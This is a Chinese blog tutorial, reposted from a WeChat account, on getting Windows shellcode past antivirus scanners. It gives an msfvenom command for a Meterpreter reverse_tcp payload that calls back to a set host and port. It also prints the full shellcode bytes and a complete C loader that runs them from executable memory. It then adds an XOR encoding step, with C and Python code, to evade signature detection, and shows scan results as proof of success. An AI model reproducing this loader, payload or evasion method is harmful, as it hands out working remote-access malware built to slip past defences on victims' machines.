免杀那点事儿之windows的shellcode(一)

admin 2022年10月20日08:22:12评论211 views字数 7310阅读24分22秒阅读模式

其实鄙人对所谓的免杀从来没怎么上心研究过,因为很多时候程序都是自己写的,并且根据不同场景可以灵活的调整。

比如这款pipe的木马,是去年心血来潮写的,到现在还是呆萌呆萌的免杀。

免杀那点事儿之windows的shellcode(一)

免杀那点事儿之windows的shellcode(一)

免杀那点事儿之windows的shellcode(一)

免杀那点事儿之windows的shellcode(一)

额~~~大蜘蛛抽风了吗?居然检测出是木马~~~~

免杀那点事儿之windows的shellcode(一)

附上2022/10/19新鲜出炉的检测报告

https://www.virscan.org/report/fc757aa74e23d58913e00b431bf4487175edf52c5aec16e7754cee1198a34100

好吧,不扯远了,这都是无伤大雅的事情。

综上所述,最好的免杀就是~~~~

遵循一切安全规则的前提条件下达到自己的目的。

----zngeek

但是最近有朋友托我看看针对于windows的X86和X64的shellcode载荷的免杀,就索性研究了一下。

因为这里面想分享的东西太多了,一篇幅的文章肯定是写不完的,我也不知道要写多少,索性就是弄个专题吧,写到哪天我觉得我知道的已经分享完了,就完结~~~~

来,跟着我的思路开始

首先,shellcode就是一段二进制文件,我们要将它放入内存中,然后让CPU去读取运算这段二进制数据。安全软件的各种所谓的骚操作骚技术无非我总结下来是以下几点:


1、特征

为什么很多自己写的程序比较容易过安全软件的扫描,很大一部分原因是它没有我的特征,如果是发布过的并且有大量人使用,那么特征一定是被记录得明明白白。特征包含的就太广了,比如最浅显的hash值,更多的是程序内的某一段固定的二进制数据等等。


2、内存

监测载入内存的二进制数据,从而分析是否有违反规则的数据。


3、行为

判断程序执行的种种行为是否存在违规行为。

举个简单的例子,如果你直接新增注册表的run键值,那么99.999999%都会把你干掉,因为我们的程序是"野生"的,没有各种安全软件的白名单认可,但是换个思路,如果我是以安全软件认证的白名单去执行这个操作呢?


4、大数据&AI

longlong鹅狗,那时候没有什么大数据,人工智能等等的东西,我们只用针对于安全程序本身的病毒库、行为分析等等就能够完全欺骗过去。但是现在我们更多的要针对于上传到云的AI分析,庞大的运算速率分析,很难逃得过去,今天我在virscan上传了我的木马进行检测,很有可能明天就会被查杀掉。(所以,发布出来的,你可以借鉴,但是不能依赖。引用一句骚话:过于落后,可以展示)


我觉得百科这句话总结得很到位

免杀那点事儿之windows的shellcode(一)

------可爱的分割线------

这里我们由浅到深来,以下我都以C语言为例进行原理性的演示。

shellcode就用现在很多人喜欢用的老外的什么msf生成的木马为例。


首先介绍两个win的API

1、VirtualAlloc()

看一下百科怎么说的

免杀那点事儿之windows的shellcode(一)

翻译成我们要实现本次目的通俗的人话就是,开辟一段内存空间用来存放我们要写入的二进制数据。

这个API函数有四个参数

LPVOID lpAddress //分配内存区域的地址

SIZE_T dwSize //分配内存的大小

flAllocationType //分配的类型

DWORD flProtect //初始保护属性

对应的值感兴趣的自己去了解,这里就不废话了。


2、memcpy()

从字面来看,就是内存数据的copy,上面我们开辟了内存空间,当然要把我们的二进制数据copy进去。

该API函数有三个参数

destin //指向用于存储复制内容的目标数组,类型强制转换为 void* 指针。

source //指向要复制的数据源,类型强制转换为 void* 指针。

n //要被复制的字节数。


有这两个win的API就够了,下面就开始写我们的代码

首先用msfvenom生成一个C语言的shellcode,x64或者x86都无所谓,编译的时候用不同架构编译即可。

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.1.1.210 LPORT=9115 -f c > x64.c

免杀那点事儿之windows的shellcode(一)    

得到的shellcode如下

unsigned char buf[] = "xfcx48x83xe4xf0xe8xccx00x00x00x41x51x41x50""x52x51x56x48x31xd2x65x48x8bx52x60x48x8bx52""x18x48x8bx52x20x4dx31xc9x48x0fxb7x4ax4ax48""x8bx72x50x48x31xc0xacx3cx61x7cx02x2cx20x41""xc1xc9x0dx41x01xc1xe2xedx52x48x8bx52x20x41""x51x8bx42x3cx48x01xd0x66x81x78x18x0bx02x0f""x85x72x00x00x00x8bx80x88x00x00x00x48x85xc0""x74x67x48x01xd0x8bx48x18x50x44x8bx40x20x49""x01xd0xe3x56x48xffxc9x4dx31xc9x41x8bx34x88""x48x01xd6x48x31xc0xacx41xc1xc9x0dx41x01xc1""x38xe0x75xf1x4cx03x4cx24x08x45x39xd1x75xd8""x58x44x8bx40x24x49x01xd0x66x41x8bx0cx48x44""x8bx40x1cx49x01xd0x41x8bx04x88x41x58x41x58""x48x01xd0x5ex59x5ax41x58x41x59x41x5ax48x83""xecx20x41x52xffxe0x58x41x59x5ax48x8bx12xe9""x4bxffxffxffx5dx49xbex77x73x32x5fx33x32x00""x00x41x56x49x89xe6x48x81xecxa0x01x00x00x49""x89xe5x49xbcx02x00x23x9bx0ax01x01xd2x41x54""x49x89xe4x4cx89xf1x41xbax4cx77x26x07xffxd5""x4cx89xeax68x01x01x00x00x59x41xbax29x80x6b""x00xffxd5x6ax0ax41x5ex50x50x4dx31xc9x4dx31""xc0x48xffxc0x48x89xc2x48xffxc0x48x89xc1x41""xbaxeax0fxdfxe0xffxd5x48x89xc7x6ax10x41x58""x4cx89xe2x48x89xf9x41xbax99xa5x74x61xffxd5""x85xc0x74x0ax49xffxcex75xe5xe8x93x00x00x00""x48x83xecx10x48x89xe2x4dx31xc9x6ax04x41x58""x48x89xf9x41xbax02xd9xc8x5fxffxd5x83xf8x00""x7ex55x48x83xc4x20x5ex89xf6x6ax40x41x59x68""x00x10x00x00x41x58x48x89xf2x48x31xc9x41xba""x58xa4x53xe5xffxd5x48x89xc3x49x89xc7x4dx31""xc9x49x89xf0x48x89xdax48x89xf9x41xbax02xd9""xc8x5fxffxd5x83xf8x00x7dx28x58x41x57x59x68""x00x40x00x00x41x58x6ax00x5ax41xbax0bx2fx0f""x30xffxd5x57x59x41xbax75x6ex4dx61xffxd5x49""xffxcexe9x3cxffxffxffx48x01xc3x48x29xc6x48""x85xf6x75xb4x41xffxe7x58x6ax00x59x49xc7xc2""xf0xb5xa2x56xffxd5";


然后定义一个char指针,用VirtualAlloc()开辟一块内存并且把地址赋予指针。

char *Memory;Memory=VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

第一个参数可以为空,自由分配,第二个参数取我们的shellcode大小赋值,第三个参数COMMIT和RESERVE类型,就是提交物理内存和保留该内存空间,第四个参数PAGE_EXECUTE_READWRITE代表开辟的内存区域可以执行二进制数据,应用程序可以读写该区域二进制数据。

接着我们需要往我们开辟的内存里面写入二进制数据

memcpy(Memory, buf, sizeof(buf));


成功将buf写入后,最后就是告诉CPU去运算这段内存二进制数据吧!!!

((void(*)())Memory)();


至此,我们基本载入shellcode的框架就写完了。

完整代码如下:

#include <Windows.h>
unsigned char buf[] = "xfcx48x83xe4xf0xe8xccx00x00x00x41x51x41x50""x52x51x56x48x31xd2x65x48x8bx52x60x48x8bx52""x18x48x8bx52x20x4dx31xc9x48x0fxb7x4ax4ax48""x8bx72x50x48x31xc0xacx3cx61x7cx02x2cx20x41""xc1xc9x0dx41x01xc1xe2xedx52x48x8bx52x20x41""x51x8bx42x3cx48x01xd0x66x81x78x18x0bx02x0f""x85x72x00x00x00x8bx80x88x00x00x00x48x85xc0""x74x67x48x01xd0x8bx48x18x50x44x8bx40x20x49""x01xd0xe3x56x48xffxc9x4dx31xc9x41x8bx34x88""x48x01xd6x48x31xc0xacx41xc1xc9x0dx41x01xc1""x38xe0x75xf1x4cx03x4cx24x08x45x39xd1x75xd8""x58x44x8bx40x24x49x01xd0x66x41x8bx0cx48x44""x8bx40x1cx49x01xd0x41x8bx04x88x41x58x41x58""x48x01xd0x5ex59x5ax41x58x41x59x41x5ax48x83""xecx20x41x52xffxe0x58x41x59x5ax48x8bx12xe9""x4bxffxffxffx5dx49xbex77x73x32x5fx33x32x00""x00x41x56x49x89xe6x48x81xecxa0x01x00x00x49""x89xe5x49xbcx02x00x23x9bx0ax01x01xd2x41x54""x49x89xe4x4cx89xf1x41xbax4cx77x26x07xffxd5""x4cx89xeax68x01x01x00x00x59x41xbax29x80x6b""x00xffxd5x6ax0ax41x5ex50x50x4dx31xc9x4dx31""xc0x48xffxc0x48x89xc2x48xffxc0x48x89xc1x41""xbaxeax0fxdfxe0xffxd5x48x89xc7x6ax10x41x58""x4cx89xe2x48x89xf9x41xbax99xa5x74x61xffxd5""x85xc0x74x0ax49xffxcex75xe5xe8x93x00x00x00""x48x83xecx10x48x89xe2x4dx31xc9x6ax04x41x58""x48x89xf9x41xbax02xd9xc8x5fxffxd5x83xf8x00""x7ex55x48x83xc4x20x5ex89xf6x6ax40x41x59x68""x00x10x00x00x41x58x48x89xf2x48x31xc9x41xba""x58xa4x53xe5xffxd5x48x89xc3x49x89xc7x4dx31""xc9x49x89xf0x48x89xdax48x89xf9x41xbax02xd9""xc8x5fxffxd5x83xf8x00x7dx28x58x41x57x59x68""x00x40x00x00x41x58x6ax00x5ax41xbax0bx2fx0f""x30xffxd5x57x59x41xbax75x6ex4dx61xffxd5x49""xffxcexe9x3cxffxffxffx48x01xc3x48x29xc6x48""x85xf6x75xb4x41xffxe7x58x6ax00x59x49xc7xc2""xf0xb5xa2x56xffxd5";
int main(){ char *Memory; Memory=VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); memcpy(Memory, buf, sizeof(buf)); ((void(*)())Memory)();}


直接编译引用x64的lib

gcc.exe "x64.c" -o "x64.exe" -mwindows -I"MinGW64include" -I"x86_64-w64-mingw32include" -I"x86_64-w64-mingw324.9.2include" -L"x86_64-w64-mingw32lib" -static-libgcc -mwindows


运行看看,上线成功

免杀那点事儿之windows的shellcode(一)    

至此,我们的shellcode算是成功的运行了,看看免杀情况怎么样。

360居然免杀

免杀那点事儿之windows的shellcode(一)

360木马查杀扫描日志开始时间: 2022-10-20 00:13:06扫描用时: 00:00:07扫描类型: 自定义扫描扫描引擎:360云查杀引擎(本地木马库)  360启发式引擎  QEX脚本查杀引擎 扫描文件数: 1系统关键位置文件: 0系统内存运行模块: 0压缩包文件: 0安全的文件数: 1发现安全威胁: 0已处理安全威胁: 0
扫描选项扫描后自动关机: 否扫描模式: 速度最快管理员:是
扫描内容C:UsersAdministrator.ZNGEEKDesktopx64.exe
扫描结果未发现安全威胁


当然,这个只是假象,上传virscan看看,报告如下

免杀那点事儿之windows的shellcode(一)    

报告地址:https://www.virscan.org/report/e68eed43e50446df8cdbb3d73a276d1929106e3d34c69d461d50c74904863e42

------可爱的分割线------

从最开始我讲到的安全软件其中一种机制就是【内存】,我们载入内存的二进制数据是msf生成的,特征都已经被检测烂了,那么我们是不是可以对shellcode这段二进制数据做做文章呢?当然可以。

我想的是异或运算一下,在调用的时候再还原回来。

比如我将msf的shellcode异或一个0x11

int main() {  int i;  printf("shellcode is:n");  for(i=0; i<=sizeof(buf); i++) {    buf[i]=buf[i] ^ 0x11;    printf("\x%x",buf[i]);  }  }


当然,你也可用用python等等更简单的脚本语言来实现

import sysraw_data = "0x............................."new_shellcode = []for opcode in raw_data:        # The encoding process for each opcode        new_opcode = (ord(opcode) ^ 0x01)        new_shellcode.append(new_opcode)print "".join(["\x{0}".format(hex(abs(i)).replace("0x", "")) for i in new_shellcode])


然后把异或过后的shellcode替换原始的shellcode,在载入之前,我们把他异或回来

int i;for(i=0; i<=sizeof(buf); i++) {  buf[i]=buf[i] ^ 0x11;}


编译过后,再来看看免杀效果。比刚刚要好多了~~~

免杀那点事儿之windows的shellcode(一)

报告地址:https://www.virscan.org/report/33cc832964bd3ffcd022b56faba11dd4e0a06ba414f7de54720c982d159f1f72

------可爱的分割线------

当然,针对于二进制数据我们还有很多可以玩的编码解码,这里只是提供一种思路,俗话说:授人以鱼不如授人以渔

今天就写到这里吧,下一篇系列文章我将着重介绍一下各种注入shellcode的骚操作方式。也就是上面说到的【行为】

免杀那点事儿之windows的shellcode(一)


时不时我写的时候想到一些冷知识,也会告诉大家。

比如:在win环境下用GCC编译C语言的的时候

1、x64系统就编译x64的,要编译32位的程序,最好是使用x86的系统环境,别问我为什么,问就是你自己去反编译一下同样代码出来的程序,你会发现一些特征是抹不去的,除非你是偏执狂大神,愿意汇编一点点的去修改,那还不如直接用一个x86的环境去编译。

2、在编写C或者C++的时候,适当的用汇编语言,会大大的增加免杀机率,具体原因我没有仔细的去分析过,估计盲猜是因为编译器翻译成二进制数据时的一些特征问题吧,比如我直接用API调用内存让cpu运算,和我用__asm call,最终得到的二进制数据是不一样的。

原文始发于微信公众号(蓝极战队):免杀那点事儿之windows的shellcode(一)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年10月20日08:22:12
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   免杀那点事儿之windows的shellcode(一)http://cn-sec.com/archives/1360229.html

发表评论

匿名网友 填写信息